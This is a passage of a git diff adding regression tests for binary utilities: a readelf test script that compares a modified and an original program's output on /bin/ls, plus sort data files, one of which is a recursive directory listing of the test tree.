+run_basic_test 120 -d --insn-width=9 /bin/ls
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/readelf/test_script.sh b/peasoup_examples/tests/readelf/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..dab4fa9a8496b675c14897120fbda1b72fb118e4
--- /dev/null
+++ b/peasoup_examples/tests/readelf/test_script.sh
@@ -0,0 +1,45 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/readelf
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=readelf
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# sanity check readelf
+timeout 10 $BENCH -h /bin/ls | grep -i "header" >/dev/null 2>&1
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -V 
+run_basic_test 120 -a /bin/ls
+run_basic_test 120 -g /bin/ls
+run_basic_test 120 -t /bin/ls
+run_basic_test 120 -e /bin/ls
+run_basic_test 120 -s /bin/ls
+run_basic_test 120 -s --dyn-syms /bin/ls
+run_basic_test 120 -n /bin/ls
+run_basic_test 120 -r /bin/ls
+run_basic_test 120 -u /bin/ls
+run_basic_test 120 -d /bin/ls
+run_basic_test 120 -D /bin/ls
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/sort/data/data.abc b/peasoup_examples/tests/sort/data/data.abc
new file mode 100644
index 0000000000000000000000000000000000000000..de980441c3ab03a8c07dda1ad27b8a11f39deb1e
--- /dev/null
+++ b/peasoup_examples/tests/sort/data/data.abc
@@ -0,0 +1,3 @@
+a
+b
+c
diff --git a/peasoup_examples/tests/sort/data/data.cba b/peasoup_examples/tests/sort/data/data.cba
new file mode 100644
index 0000000000000000000000000000000000000000..e274b2bb10a00f540e0ce484ee74f2876d4880c9
--- /dev/null
+++ b/peasoup_examples/tests/sort/data/data.cba
@@ -0,0 +1,3 @@
+c
+b
+a
diff --git a/peasoup_examples/tests/sort/data/data.txt b/peasoup_examples/tests/sort/data/data.txt
new file mode 100644
index 0000000000000000000000000000000000000000..01d20255d32a121d45ccb39e5a252a1cfb2e5307
--- /dev/null
+++ b/peasoup_examples/tests/sort/data/data.txt
@@ -0,0 +1,1051 @@
+../..:
+total 76
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  9 23:27 sort
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 18:58 grep
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 16:56 tar
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  8 16:43 readelf
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  8 16:37 objdump
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  8 15:48 touch
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 15:13 ls
+-rwxrwxr-x 1 ubuntu ubuntu 9274 Jan  8 15:13 manual_test_lib.sh
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  7 18:51 wget
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  7 18:50 bzip2
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  7 18:47 egrep
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  7 18:45 w3c
+drwxrwxr-x 6 ubuntu ubuntu 4096 Jan  7 18:43 nginx
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  7 18:31 tcpdump
+drwxrwxr-x 4 ubuntu ubuntu 4096 Jan  7 18:03 zsh
+drwxrwxr-x 4 ubuntu ubuntu 4096 Jan  7 16:43 test_scripts
+drwxrwxr-x 3 ubuntu ubuntu 4096 Apr 23  2015 fgrep
+lrwxrwxrwx 1 ubuntu ubuntu    6 Apr 23  2015 bunzip2 -> bzip2/
+
+../../sort:
+total 8
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  9 23:27 data
+-rwxrwxr-x 1 ubuntu ubuntu 1070 Jan  9 23:27 test_script.sh
+
+../../sort/data:
+total 0
+-rw-rw-r-- 1 ubuntu ubuntu 0 Jan  9 23:27 data.txt
+
+../../grep:
+total 1544
+-rw-rw-r-- 1 ubuntu ubuntu 1567075 Jan  7 17:08 out
+drwxrwxr-x 2 ubuntu ubuntu    4096 Apr 23  2015 data
+-rwxrwxr-x 1 ubuntu ubuntu    6408 Apr 23  2015 test_script.sh
+
+../../grep/data:
+total 24
+-rw-rw-r-- 1 ubuntu ubuntu  728 Apr 23  2015 khadafy.lines
+-rw-rw-r-- 1 ubuntu ubuntu  208 Apr 23  2015 data1.txt
+-rw-rw-r-- 1 ubuntu ubuntu 1228 Apr 23  2015 data2.txt
+-rw-rw-r-- 1 ubuntu ubuntu   67 Apr 23  2015 khadafy.regexp
+-rw-rw-r-- 1 ubuntu ubuntu   38 Apr 23  2015 pattern2
+-rw-rw-r-- 1 ubuntu ubuntu    9 Apr 23  2015 pattern
+
+../../tar:
+total 8
+-rw-rw-r-- 1 ubuntu ubuntu    0 Jan  8 16:58 data.tar
+-rwxrwxr-x 1 ubuntu ubuntu 1065 Jan  8 15:54 test_script.sh
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 15:51 data
+
+../../tar/data:
+total 24
+-rw-rw-r-- 1 ubuntu ubuntu 10240 Jan  8 15:51 test.tar
+drwxrwxr-x 3 ubuntu ubuntu  4096 Jan  8 15:46 dir1
+-rw-rw-r-- 1 ubuntu ubuntu     7 Jan  8 15:46 hello1
+-rw-rw-r-- 1 ubuntu ubuntu     9 Jan  8 15:46 yo.txt
+
+../../tar/data/dir1:
+total 12
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  8 15:46 dir2
+-rw-rw-r-- 1 ubuntu ubuntu    7 Jan  8 15:46 hello2
+-rw-rw-r-- 1 ubuntu ubuntu    9 Jan  8 15:46 yo2.xls
+
+../../tar/data/dir1/dir2:
+total 4
+-rw-rw-r-- 1 ubuntu ubuntu 7 Jan  8 15:46 readme
+
+../../readelf:
+total 4
+-rwxrwxr-x 1 ubuntu ubuntu 1319 Jan  8 16:41 test_script.sh
+
+../../objdump:
+total 4
+-rwxrwxr-x 1 ubuntu ubuntu 1563 Jan  8 16:36 test_script.sh
+
+../../touch:
+total 4
+-rwxrwxr-x 1 ubuntu ubuntu 357 Apr 23  2015 test_script.sh
+
+../../ls:
+total 8
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 15:11 data
+-rwxrwxr-x 1 ubuntu ubuntu 1824 Jan  8 15:10 test_script.sh
+
+../../ls/data:
+total 12
+drwxrwxr-x 3 ubuntu ubuntu 4096 Jan  8 15:11 dir1
+-rw-rw-r-- 1 ubuntu ubuntu    9 Jan  8 15:11 yo.txt
+-rw-rw-r-- 1 ubuntu ubuntu    7 Jan  8 15:01 hello1
+
+../../ls/data/dir1:
+total 12
+-rw-rw-r-- 1 ubuntu ubuntu    9 Jan  8 15:11 yo2.xls
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  8 15:02 dir2
+-rw-rw-r-- 1 ubuntu ubuntu    7 Jan  8 15:01 hello2
+
+../../ls/data/dir1/dir2:
+total 4
+-rw-rw-r-- 1 ubuntu ubuntu 7 Jan  8 15:02 readme
+
+../../wget:
+total 12
+-rwxrwxr-x 1 ubuntu ubuntu 6281 Apr 23  2015 test_script.sh
+drwxrwxr-x 3 ubuntu ubuntu 4096 Apr 23  2015 data
+
+../../wget/data:
+total 4
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 throw_away
+
+../../wget/data/throw_away:
+total 0
+
+../../bzip2:
+total 8
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  7 18:50 data
+-rwxrwxr-x 1 ubuntu ubuntu 4003 Apr 23  2015 test_script.sh
+
+../../bzip2/data:
+total 568
+-rw-rw-r-- 1 ubuntu ubuntu 289631 Apr 23  2015 compression_input1
+-rw-rw-r-- 1 ubuntu ubuntu 287981 Apr 23  2015 decompression_input1
+
+../../egrep:
+total 12
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 data
+-rwxrwxr-x 1 ubuntu ubuntu 7017 Apr 23  2015 test_script.sh
+
+../../egrep/data:
+total 24
+-rw-rw-r-- 1 ubuntu ubuntu 1228 Apr 23  2015 data2.txt
+-rw-rw-r-- 1 ubuntu ubuntu   38 Apr 23  2015 pattern2
+-rw-rw-r-- 1 ubuntu ubuntu  728 Apr 23  2015 khadafy.lines
+-rw-rw-r-- 1 ubuntu ubuntu   67 Apr 23  2015 khadafy.regexp
+-rw-rw-r-- 1 ubuntu ubuntu  208 Apr 23  2015 data1.txt
+-rw-rw-r-- 1 ubuntu ubuntu    9 Apr 23  2015 pattern
+
+../../w3c:
+total 12
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 data
+-rwxrwxr-x 1 ubuntu ubuntu 4819 Apr 23  2015 test_script.sh
+
+../../w3c/data:
+total 8
+-rw-rw-r-- 1 ubuntu ubuntu 76 Apr 23  2015 bogus.conf
+-rw-rw-r-- 1 ubuntu ubuntu 24 Apr 23  2015 data.txt
+
+../../nginx:
+total 36
+drwxrwxr-x  4 ubuntu ubuntu 4096 Jan  7 18:43 throw_away
+-rw-rw-r--  1 ubuntu ubuntu    2 Jan  7 18:43 test_status
+-rw-rw-r--  1 ubuntu ubuntu  111 Jan  7 18:43 test_error
+-rw-rw-r--  1 ubuntu ubuntu    0 Jan  7 18:43 test_out
+-rw-rw-r--  1 ubuntu ubuntu    2 Jan  7 18:43 orig_status
+-rw-rw-r--  1 ubuntu ubuntu  111 Jan  7 18:43 orig_error
+-rw-rw-r--  1 ubuntu ubuntu    0 Jan  7 18:43 orig_out
+drwxrwxr-x  2 ubuntu ubuntu 4096 Apr 23  2015 tests
+-rwxrwxr-x  1 ubuntu ubuntu 3455 Apr 23  2015 test_script.sh
+drwxrwxr-x 10 ubuntu ubuntu 4096 Apr 23  2015 data
+drwxrwxr-x  2 ubuntu ubuntu 4096 Apr 23  2015 scripts
+
+../../nginx/throw_away:
+total 32
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  7 18:43 good-01.test
+-rw-rw-r-- 1 ubuntu ubuntu  583 Jan  7 18:43 test_script_test_run_error
+-rw-rw-r-- 1 ubuntu ubuntu    2 Jan  7 18:43 test_script_test_run_status
+-rw-rw-r-- 1 ubuntu ubuntu   18 Jan  7 18:43 test_script_test_run_out
+-rw-rw-r-- 1 ubuntu ubuntu  584 Jan  7 18:43 test_script_run_bench_error
+-rw-rw-r-- 1 ubuntu ubuntu    2 Jan  7 18:43 test_script_run_bench_status
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  7 18:43 good-01.orig
+-rw-rw-r-- 1 ubuntu ubuntu   18 Jan  7 18:43 test_script_run_bench_out
+
+../../nginx/throw_away/good-01.test:
+total 4
+-rw-rw-r-- 1 ubuntu ubuntu 574 Apr 23  2015 index.html
+
+../../nginx/throw_away/good-01.orig:
+total 4
+-rw-rw-r-- 1 ubuntu ubuntu 574 Apr 23  2015 index.html
+
+../../nginx/tests:
+total 16
+-rwxrwxr-x 1 ubuntu ubuntu 702 Apr 23  2015 test3.sh
+-rwxrwxr-x 1 ubuntu ubuntu 704 Apr 23  2015 test4.sh
+-rwxrwxr-x 1 ubuntu ubuntu 700 Apr 23  2015 test1.sh
+-rwxrwxr-x 1 ubuntu ubuntu 702 Apr 23  2015 test2.sh
+
+../../nginx/data:
+total 32
+drwxrwxr-x 2 ubuntu ubuntu 4096 Jan  7 18:43 logs
+drwxrwxr-x 4 ubuntu ubuntu 4096 Apr 23  2015 wwwroot
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 conf
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 client_body_temp
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 scgi_temp
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 proxy_temp
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 fastcgi_temp
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 uwsgi_temp
+
+../../nginx/data/logs:
+total 4
+-rw-r--r-- 1 ubuntu ubuntu 344 Jan  7 18:43 host.access.log
+-rw-r--r-- 1 ubuntu ubuntu   0 Jan  7 18:43 access.log
+-rw-r--r-- 1 ubuntu ubuntu   0 Jan  7 18:43 error.log
+
+../../nginx/data/wwwroot:
+total 24
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 images
+-rw-rw-r-- 1 ubuntu ubuntu  580 Apr 23  2015 pagetwo.html
+-rw-rw-r-- 1 ubuntu ubuntu  574 Apr 23  2015 index.html
+-rw-rw-r-- 1 ubuntu ubuntu  616 Apr 23  2015 pageone.html
+-rw-rw-r-- 1 ubuntu ubuntu  579 Apr 23  2015 pagethree.html
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 css
+
+../../nginx/data/wwwroot/images:
+total 84
+-rw-rw-r-- 1 ubuntu ubuntu  1595 Apr 23  2015 smiley.gif
+-rw-rw-r-- 1 ubuntu ubuntu 16218 Apr 23  2015 cupcake.jpg
+-rw-rw-r-- 1 ubuntu ubuntu 30976 Apr 23  2015 confessionbear.jpg
+-rw-rw-r-- 1 ubuntu ubuntu 28915 Apr 23  2015 grumpycat.jpg
+
+../../nginx/data/wwwroot/css:
+total 4
+-rw-rw-r-- 1 ubuntu ubuntu 330 Apr 23  2015 style.css
+
+../../nginx/data/conf:
+total 60
+-rw-rw-r-- 1 ubuntu ubuntu 1034 Apr 23  2015 fastcgi.conf.default
+-rw-rw-r-- 1 ubuntu ubuntu  964 Apr 23  2015 fastcgi_params
+-rw-rw-r-- 1 ubuntu ubuntu 2223 Apr 23  2015 koi-win
+-rw-rw-r-- 1 ubuntu ubuntu 3610 Apr 23  2015 win-utf
+-rw-rw-r-- 1 ubuntu ubuntu 2730 Apr 23  2015 nginx.conf
+-rw-rw-r-- 1 ubuntu ubuntu 1034 Apr 23  2015 fastcgi.conf
+-rw-rw-r-- 1 ubuntu ubuntu 3463 Apr 23  2015 mime.types.default
+-rw-rw-r-- 1 ubuntu ubuntu 3463 Apr 23  2015 mime.types
+-rw-rw-r-- 1 ubuntu ubuntu 2837 Apr 23  2015 koi-utf
+-rw-rw-r-- 1 ubuntu ubuntu  623 Apr 23  2015 uwsgi_params.default
+-rw-rw-r-- 1 ubuntu ubuntu  964 Apr 23  2015 fastcgi_params.default
+-rw-rw-r-- 1 ubuntu ubuntu 2685 Apr 23  2015 nginx.conf.default
+-rw-rw-r-- 1 ubuntu ubuntu  623 Apr 23  2015 uwsgi_params
+-rw-rw-r-- 1 ubuntu ubuntu  596 Apr 23  2015 scgi_params
+-rw-rw-r-- 1 ubuntu ubuntu  596 Apr 23  2015 scgi_params.default
+
+../../nginx/data/client_body_temp:
+total 0
+
+../../nginx/data/scgi_temp:
+total 0
+
+../../nginx/data/proxy_temp:
+total 0
+
+../../nginx/data/fastcgi_temp:
+total 0
+
+../../nginx/data/uwsgi_temp:
+total 0
+
+../../nginx/scripts:
+total 4
+-rwxrwxr-x 1 ubuntu ubuntu 140 Apr 23  2015 service_mon.sh
+
+../../tcpdump:
+total 16
+-rwxrwxr-x 1 ubuntu ubuntu 4427 Jan  7 18:05 test_script.sh
+-rwxrwxr-x 1 ubuntu ubuntu  763 Apr 23  2015 gen_test.sh
+drwxrwxr-x 4 ubuntu ubuntu 4096 Apr 23  2015 tcpd_tests
+
+../../tcpdump/tcpd_tests:
+total 1332
+-rw-rw-r-- 1 ubuntu ubuntu   2063 Apr 23  2015 babel1.out
+-rw-rw-r-- 1 ubuntu ubuntu   9878 Apr 23  2015 forces2.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1956 Apr 23  2015 mpls-traceroute.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   7966 Apr 23  2015 print-AA.out
+-rw-rw-r-- 1 ubuntu ubuntu   2119 Apr 23  2015 zmtp1.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    747 Apr 23  2015 dhcpv6-AFTR-Name-RFC6334.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     24 Apr 23  2015 eapon1.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu  75243 Apr 23  2015 failure-outputs.txt
+-rw-rw-r-- 1 ubuntu ubuntu    984 Apr 23  2015 lspping-fec-rsvp.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    248 Apr 23  2015 msnlb.pcap
+-rw-rw-r-- 1 ubuntu ubuntu  75249 Apr 23  2015 spb.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1560 Apr 23  2015 e1000g.out
+drwxrwxr-x 2 ubuntu ubuntu   4096 Apr 23  2015 NEW
+-rw-rw-r-- 1 ubuntu ubuntu    667 Apr 23  2015 mpls-ldp-hello.out
+-rw-rw-r-- 1 ubuntu ubuntu   1239 Apr 23  2015 babel_auth.out
+-rw-rw-r-- 1 ubuntu ubuntu   1419 Apr 23  2015 dhcpv6-ia-na.out
+-rw-rw-r-- 1 ubuntu ubuntu    638 Apr 23  2015 dhcpv6-ia-na.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    120 Apr 23  2015 dio.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   2504 Apr 23  2015 e1000g.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   7159 Apr 23  2015 eapon1.out
+-rw-rw-r-- 1 ubuntu ubuntu    544 Apr 23  2015 esp0.out
+-rw-rw-r-- 1 ubuntu ubuntu    229 Apr 23  2015 esp2.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu     74 Apr 23  2015 esp5.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu  10128 Apr 23  2015 forces1vvv.out
+-rw-rw-r-- 1 ubuntu ubuntu  12807 Apr 23  2015 forces1vvvv.out
+-rw-rw-r-- 1 ubuntu ubuntu  18176 Apr 23  2015 forces3.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    349 Apr 23  2015 igmpv3-queries.out
+-rw-rw-r-- 1 ubuntu ubuntu   6411 Apr 23  2015 ikev2four.out
+-rw-rw-r-- 1 ubuntu ubuntu   3372 Apr 23  2015 ikev2pI2.out
+-rw-rw-r-- 1 ubuntu ubuntu    112 Apr 23  2015 isakmp-pointer-loop.pcap
+-rwxrwxr-x 1 ubuntu ubuntu    147 Apr 23  2015 lmp.sh
+-rw-rw-r-- 1 ubuntu ubuntu    630 Apr 23  2015 mpbgp-linklocal-nexthop.out
+-rw-rw-r-- 1 ubuntu ubuntu     20 Apr 23  2015 msnlb2.out
+-rw-rw-r-- 1 ubuntu ubuntu   4056 Apr 23  2015 ospf-gmpls.out
+-rw-rw-r-- 1 ubuntu ubuntu   6621 Apr 23  2015 print-flags.pcap
+-rw-rw-r-- 1 ubuntu ubuntu 135935 Apr 23  2015 QinQpacketv.out
+-rwxrwxr-x 1 ubuntu ubuntu    929 Apr 23  2015 TESTonce
+-rw-rw-r-- 1 ubuntu ubuntu    606 Apr 23  2015 dhcpv6-ia-ta.pcap
+drwxrwxr-x 2 ubuntu ubuntu   4096 Apr 23  2015 DIFF
+-rw-rw-r-- 1 ubuntu ubuntu    272 Apr 23  2015 ikev2pI2-secrets.txt
+-rw-rw-r-- 1 ubuntu ubuntu     68 Apr 23  2015 isakmp2.out
+-rw-rw-r-- 1 ubuntu ubuntu    114 Apr 23  2015 mpls-ldp-hello.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    176 Apr 23  2015 msnlb.out
+-rw-rw-r-- 1 ubuntu ubuntu    721 Apr 23  2015 isakmp-delete-segfault.pcap
+-rw-rw-r-- 1 ubuntu ubuntu  29308 Apr 23  2015 sflow_multiple_counter_30_pdus.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1352 Apr 23  2015 02-sunrise-sunset-esp.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   3320 Apr 23  2015 babel.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    554 Apr 23  2015 bgp-infinite-loop.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    641 Apr 23  2015 dhcpv6-ia-pd.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   2488 Apr 23  2015 forces1.pcap
+-rw-rw-r-- 1 ubuntu ubuntu  29523 Apr 23  2015 forces3vvv.out
+-rw-rw-r-- 1 ubuntu ubuntu  16205 Apr 23  2015 ikev2fourv4.out
+-rw-rw-r-- 1 ubuntu ubuntu    352 Apr 23  2015 ripv1v2.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    384 Apr 23  2015 rsvp-infinite-loop.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1800 Apr 23  2015 08-sunrise-sunset-esp2.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     26 Apr 23  2015 empty.uu
+-rw-rw-r-- 1 ubuntu ubuntu  20801 Apr 23  2015 forces2vv.out
+-rw-rw-r-- 1 ubuntu ubuntu  16412 Apr 23  2015 eapon1.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    298 Apr 23  2015 esp-secrets.txt
+-rw-rw-r-- 1 ubuntu ubuntu      0 Apr 23  2015 forces2v.out
+-rw-rw-r-- 1 ubuntu ubuntu    912 Apr 23  2015 ikev2pI2.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   2629 Apr 23  2015 lmp.new
+-rw-rw-r-- 1 ubuntu ubuntu    196 Apr 23  2015 mpbgp-linklocal-nexthop.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    640 Apr 23  2015 ospf-gmpls.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     74 Apr 23  2015 pppoe.out
+-rw-rw-r-- 1 ubuntu ubuntu  28583 Apr 23  2015 print-capX.out
+-rw-rw-r-- 1 ubuntu ubuntu  21271 Apr 23  2015 print-x.out
+-rw-rw-r-- 1 ubuntu ubuntu    822 Apr 23  2015 ripv1v2.out
+-rw-rw-r-- 1 ubuntu ubuntu 130398 Apr 23  2015 sflow_multiple_counter_30_pdus.out
+-rw-rw-r-- 1 ubuntu ubuntu   2779 Apr 23  2015 spb.out
+-rw-rw-r-- 1 ubuntu ubuntu    356 Apr 23  2015 isakmp-identification-segfault.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   2629 Apr 23  2015 lmp.out
+-rw-rw-r-- 1 ubuntu ubuntu   1190 Apr 23  2015 lspping-fec-ldp.pcap
+-rw-rw-r-- 1 ubuntu ubuntu  21721 Apr 23  2015 print-xx.out
+-rw-rw-r-- 1 ubuntu ubuntu    217 Apr 23  2015 bgp_vpn_attrset.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   5136 Apr 23  2015 ripv2_auth.out
+-rw-rw-r-- 1 ubuntu ubuntu    530 Apr 23  2015 babel_auth.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    140 Apr 23  2015 esp1.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu   1272 Apr 23  2015 esp1.out
+-rw-rw-r-- 1 ubuntu ubuntu     74 Apr 23  2015 esp4.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu   1416 Apr 23  2015 espudp1.pcap
+-rwxrwxr-x 1 ubuntu ubuntu    689 Apr 23  2015 print-flags.sh
+-rw-rw-r-- 1 ubuntu ubuntu  46823 Apr 23  2015 QinQpacket.out
+-rw-rw-r-- 1 ubuntu ubuntu  78264 Apr 23  2015 QinQpacket.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   3740 Apr 23  2015 TESTLIST
+-rw-rw-r-- 1 ubuntu ubuntu   6689 Apr 23  2015 zmtp1.out
+-rw-rw-r-- 1 ubuntu ubuntu  40251 Apr 23  2015 forces2vvv.out
+-rw-rw-r-- 1 ubuntu ubuntu    188 Apr 23  2015 msnlb2.pcap
+-rwxrwxr-x 1 ubuntu ubuntu   1309 Apr 23  2015 TESTrun.sh
+-rw-rw-r-- 1 ubuntu ubuntu   1480 Apr 23  2015 08-sunrise-sunset-aes.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     62 Apr 23  2015 chdlc-slarp.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1354 Apr 23  2015 dhcpv6-ia-ta.out
+-rw-rw-r-- 1 ubuntu ubuntu    159 Apr 23  2015 dio.out
+-rw-rw-r-- 1 ubuntu ubuntu    414 Apr 23  2015 ldp-infinite-loop.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1139 Apr 23  2015 bgp_vpn_attrset.out
+-rw-rw-r-- 1 ubuntu ubuntu     58 Apr 23  2015 chdlc-slarp-short.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1515 Apr 23  2015 dhcpv6-AFTR-Name-RFC6334.out
+-rw-rw-r-- 1 ubuntu ubuntu   1389 Apr 23  2015 dhcpv6-ia-pd.out
+-rw-rw-r-- 1 ubuntu ubuntu   1936 Apr 23  2015 esp2.out
+-rw-rw-r-- 1 ubuntu ubuntu   1272 Apr 23  2015 esp5.out
+-rw-rw-r-- 1 ubuntu ubuntu    802 Apr 23  2015 espudp1.out
+-rw-rw-r-- 1 ubuntu ubuntu   2587 Apr 23  2015 forces1.out
+-rw-rw-r-- 1 ubuntu ubuntu   2400 Apr 23  2015 icmpv6.out
+-rw-rw-r-- 1 ubuntu ubuntu  15068 Apr 23  2015 ikev2fourv.out
+-rw-rw-r-- 1 ubuntu ubuntu   2675 Apr 23  2015 isakmp4.out
+-rw-rw-r-- 1 ubuntu ubuntu    454 Apr 23  2015 isis-infinite-loop.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1732 Apr 23  2015 lmp.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   7826 Apr 23  2015 print-A.out
+-rw-rw-r-- 1 ubuntu ubuntu  29243 Apr 23  2015 print-capXX.out
+-rw-rw-r-- 1 ubuntu ubuntu   1600 Apr 23  2015 spb_bpduv4.out
+-rw-rw-r-- 1 ubuntu ubuntu   5974 Apr 23  2015 spb_bpduv4.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1648 Apr 23  2015 ripv2_auth.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   5167 Apr 23  2015 babel1v.out
+-rw-rw-r-- 1 ubuntu ubuntu    119 Apr 23  2015 esp3.gdbinit
+-rw-rw-r-- 1 ubuntu ubuntu    754 Apr 23  2015 icmpv6.pcap
+-rw-rw-r-- 1 ubuntu ubuntu    420 Apr 23  2015 igmpv3-queries.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   5856 Apr 23  2015 ikev2four.pcap
+-rw-rw-r-- 1 ubuntu ubuntu   1451 Apr 23  2015 isakmp3.out
+-rw-rw-r-- 1 ubuntu ubuntu   6830 Apr 23  2015 isakmp4500.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     78 Apr 23  2015 pppoe.pcap
+-rw-rw-r-- 1 ubuntu ubuntu     42 Apr 23  2015 isakmp1.out
+
+../../tcpdump/tcpd_tests/NEW:
+total 660
+-rw-rw-r-- 1 ubuntu ubuntu    733 Apr 23  2015 mpbgp-linklocal-nexthop.out
+-rw-rw-r-- 1 ubuntu ubuntu   7159 Apr 23  2015 eapon1.out
+-rw-rw-r-- 1 ubuntu ubuntu  16205 Apr 23  2015 ikev2fourv4.out
+-rw-rw-r-- 1 ubuntu ubuntu    667 Apr 23  2015 mpls-ldp-hello.out
+-rw-rw-r-- 1 ubuntu ubuntu   1139 Apr 23  2015 bgp_vpn_attrset.out
+-rw-rw-r-- 1 ubuntu ubuntu    544 Apr 23  2015 esp0.out
+-rw-rw-r-- 1 ubuntu ubuntu  12807 Apr 23  2015 forces1vvvv.out
+-rw-rw-r-- 1 ubuntu ubuntu   2938 Apr 23  2015 icmpv6.out
+-rw-rw-r-- 1 ubuntu ubuntu    349 Apr 23  2015 igmpv3-queries.out
+-rw-rw-r-- 1 ubuntu ubuntu    950 Apr 23  2015 msnlb.out
+-rw-rw-r-- 1 ubuntu ubuntu  29243 Apr 23  2015 print-capXX.new
+-rw-rw-r-- 1 ubuntu ubuntu  12167 Apr 23  2015 babel1.out
+-rw-rw-r-- 1 ubuntu ubuntu  12167 Apr 23  2015 babel1v.out
+-rw-rw-r-- 1 ubuntu ubuntu   3372 Apr 23  2015 ikev2pI2.out
+-rw-rw-r-- 1 ubuntu ubuntu     74 Apr 23  2015 pppoe.out
+-rw-rw-r-- 1 ubuntu ubuntu   2113 Apr 23  2015 babel_auth.out
+-rw-rw-r-- 1 ubuntu ubuntu   2414 Apr 23  2015 dhcpv6-ia-na.out
+-rw-rw-r-- 1 ubuntu ubuntu   2521 Apr 23  2015 dhcpv6-ia-pd.out
+-rw-rw-r-- 1 ubuntu ubuntu   2382 Apr 23  2015 dhcpv6-ia-ta.out
+-rw-rw-r-- 1 ubuntu ubuntu   1560 Apr 23  2015 e1000g.out
+-rw-rw-r-- 1 ubuntu ubuntu     68 Apr 23  2015 isakmp2.out
+-rw-rw-r-- 1 ubuntu ubuntu    278 Apr 23  2015 msnlb2.out
+-rw-rw-r-- 1 ubuntu ubuntu   4056 Apr 23  2015 ospf-gmpls.out
+-rw-rw-r-- 1 ubuntu ubuntu  21721 Apr 23  2015 print-xx.new
+-rw-rw-r-- 1 ubuntu ubuntu   3400 Apr 23  2015 ripv2_auth.out
